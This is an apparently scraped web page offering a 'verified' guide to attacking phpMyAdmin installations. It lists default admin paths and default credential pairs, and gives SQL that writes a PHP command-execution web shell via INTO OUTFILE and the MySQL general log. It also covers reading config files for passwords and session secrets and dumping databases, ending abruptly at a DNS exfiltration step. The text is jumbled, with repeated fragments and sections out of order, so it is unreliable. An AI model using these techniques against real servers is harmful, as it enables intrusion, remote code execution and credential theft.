Phpmyadmin Hacktricks — Verified

/phpmyadmin/ /pma/ /dbadmin/ /myadmin/ /phpMyAdmin/ /MySQL/ /phpmyadmin2/ /phpmyadmin3/ /pma_db/ Use curl -k -I https://target/phpmyadmin/ and look for the Set-Cookie: phpMyAdmin= header. That header is unique to phpMyAdmin. 1.2 Version Detection Access /doc/html/index.html or /changelog.php to read the version number.

| Username | Password | |----------|----------| | root | root | | root | (blank) | | root | toor | | admin | (blank) | | pma | pmapassword | phpmyadmin hacktricks verified

SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT "<?php system($_GET['c']); ?>"; -- This gets written to log file Requires MySQL SUPER privilege (often given to root user in phpMyAdmin). 3.3 User-Defined Functions (UDF) for Persistent Shell Create a MySQL UDF that executes system commands. | Username | Password | |----------|----------| | root

LOAD_FILE('/etc/phpmyadmin/config.inc.php'); Look for $cfg['Servers'][$i]['password'] . If $cfg['blowfish_secret'] is weak or default, you can decrypt session cookies and impersonate admin. If $cfg['blowfish_secret'] is weak or default, you can

This article aggregates, tests, and verifies the most effective phpMyAdmin attack techniques. Every method listed has been against recent versions (phpMyAdmin 4.9.x, 5.1.x, 5.2.x) on Linux and Windows environments. Part 1: Reconnaissance & Detection Before executing exploits, you must identify phpMyAdmin. 1.1 Default Paths (Verified) Scanning for these paths yields results in >70% of default installations:

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php" Then access: http://target/shell.php?cmd=id

SELECT * FROM information_schema.tables INTO OUTFILE '/tmp/db_dump.sql'; Or use built-in export (less stealthy but faster). If outbound internet is allowed but direct connections monitored, use DNS: